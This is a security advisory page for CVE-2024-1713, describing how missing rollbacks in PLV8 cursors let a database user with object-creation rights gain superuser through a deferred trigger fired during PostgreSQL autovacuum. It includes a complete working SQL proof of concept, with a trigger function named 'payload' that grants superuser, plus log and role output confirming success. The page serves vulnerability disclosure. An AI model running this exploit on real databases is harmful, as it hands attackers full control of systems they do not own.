Skip to content
GoogleGHSA-r7m9-grw7-vcc4

PostgreSQL: Plv8 Deferred Trigger Privilege Escalation

HighCVE-2024-1713 · Published Feb 21, 2024

### Summary PLV8 allows users to create cursors for queries. If an error occurs in a cursor operation the postgres error is caught and rethrown as an exception that can be caught in javascript. The cursor implementations for plv8 are missing rollbacks. This enables cases where a rollback is expected but a malicious user is able to catch the error and commit instead. For example with deferred triggers. A malicious user who can create objects in a database with plv8 installed can cause deferred triggers to execute as the Superuser during autovacuum (similar to [CVE-2020-25695](https://staaldraad.github.io/post/2020-12-15-cve-2020-25695-postgresql-privesc)). This was tested against PostgreSQL 14.10 with plv8-3.2.1. ### Severity High - A user who can create objects in a database with plv8 installed is able to cause deferred triggers to execute as the Superuser during autovacuum. ### Proof of Concept This PoC assumes that there is a _Superuser_ named _postgres_ and a normal user named _test_. The _test_ user should be able to create objects within a database where plv8 is installed. As _Superuser_ ```sql CREATE EXTENSION plv8; ``` As user _test_ ```sql -- Setup index, table, and t...

GitHub advisory

Affected versions

PackageAffectedFixed in
Plv8
Product
all versionsNo fix yet
Details and references

### Summary PLV8 allows users to create cursors for queries. If an error occurs in a cursor operation the postgres error is caught and rethrown as an exception that can be caught in javascript. The cursor implementations for plv8 are missing rollbacks. This enables cases where a rollback is expected but a malicious user is able to catch the error and commit instead. For example with deferred triggers. A malicious user who can create objects in a database with plv8 installed can cause deferred triggers to execute as the Superuser during autovacuum (similar to [CVE-2020-25695](https://staaldraad.github.io/post/2020-12-15-cve-2020-25695-postgresql-privesc)). This was tested against PostgreSQL 14.10 with plv8-3.2.1. ### Severity High - A user who can create objects in a database with plv8 installed is able to cause deferred triggers to execute as the Superuser during autovacuum. ### Proof of Concept This PoC assumes that there is a _Superuser_ named _postgres_ and a normal user named _test_. The _test_ user should be able to create objects within a database where plv8 is installed. As _Superuser_ ```sql CREATE EXTENSION plv8; ``` As user _test_ ```sql -- Setup index, table, and triggers similar to CVE-2020-25695 CREATE TABLE public.to_vacuum (a int, b int); CREATE TABLE public.has_trigger (a int); CREATE OR REPLACE FUNCTION public.index_func(integer) RETURNS integer AS $ BEGIN RETURN 1; END; $ LANGUAGE PLPGSQL IMMUTABLE; CREATE INDEX i ON public.to_vacuum (public.index_func(a)); CREATE OR REPLACE FUNCTION public.plv8_cursor() RETURNS int AS $ try { var p = plv8.prepare("INSERT INTO public.has_trigger VALUES (1) RETURNING *", []); var c = p.cursor([]); // while (row = c.move(1)) {} while (row = c.fetch()) {} } catch(err) { plv8.elog(WARNING, 'plv8: ' + err); } return 1; $ LANGUAGE plv8; CREATE OR REPLACE PROCEDURE wrapper() AS $ BEGIN BEGIN PERFORM public.plv8_cursor(); EXCEPTION WHEN OTHERS THEN COMMIT; END; END; $ LANGUAGE plpgsql; CREATE OR REPLACE FUNCTION public.index_func(integer) RETURNS integer AS $ BEGIN CALL public.wrapper(); RETURN 1; END; $ LANGUAGE PLPGSQL; CREATE OR REPLACE FUNCTION public.payload() RETURNS trigger AS $ BEGIN IF USER = 'postgres' THEN ALTER USER test WITH Superuser; END IF; RETURN NEW; END; $ LANGUAGE PLPGSQL; CREATE CONSTRAINT TRIGGER defer AFTER INSERT ON public.has_trigger INITIALLY DEFERRED FOR EACH ROW EXECUTE PROCEDURE public.payload(); ALTER TABLE public.to_vacuum SET (autovacuum_vacuum_threshold = 1); ALTER TABLE public.to_vacuum SET (autovacuum_analyze_threshold = 1); INSERT INTO public.to_vacuum VALUES (1,1); INSERT INTO public.to_vacuum VALUES (2,2); INSERT INTO public.to_vacuum VALUES (3,3); ``` Wait for autovacuum to run this could take several minutes with default settings. You’ll see log entries such as the following when. ```sql [18303] WARNING: plv8: Error: cannot fire deferred trigger within security -restricted operation [18303] CONTEXT: SQL statement "SELECT public.plv8_cursor()" PL/pgSQL function public.wrapper() line 4 at PERFORM SQL statement "CALL public.wrapper()" PL/pgSQL function public.index_func(integer) line 3 at CALL [18303] WARNING: snapshot 0x55e5cbdb2680 still active ``` Now check the user's privileges ```sql \du test List of roles Role name | Attributes | Member of -----------+----------------------+----------- test | Superuser, Create DB | {} ``` ### Further Analysis When a plv8 cursor encounters an error the postgres error is caught and rethrown as an error that can be cau

Severity from
GitHub (reviewed advisory)

More Google advisories

All Google
Advisory
UTM: Remote Code Execution Via Unsafe VM Handling
MediumApr 5, 2024
UTM: Unsafe URL Handling
LowApr 5, 2024
Microsoft Edge: Bypass of fix for CVE-2023-36880
LowApr 4, 2024
Python: Code Execution Vulnerability
LowMar 26, 2024
PostgreSQL: Concurrent Refresh Privilege Escalation
MediumMar 19, 2024
Microsoft VSCode: XSS
HighJan 4, 2024

Critical advisories by email

Wednesdays: the week’s critical and high advisories in the AI and data stack, with the fixed versions. Only in weeks that have some.

Double opt-in. Unsubscribe any time.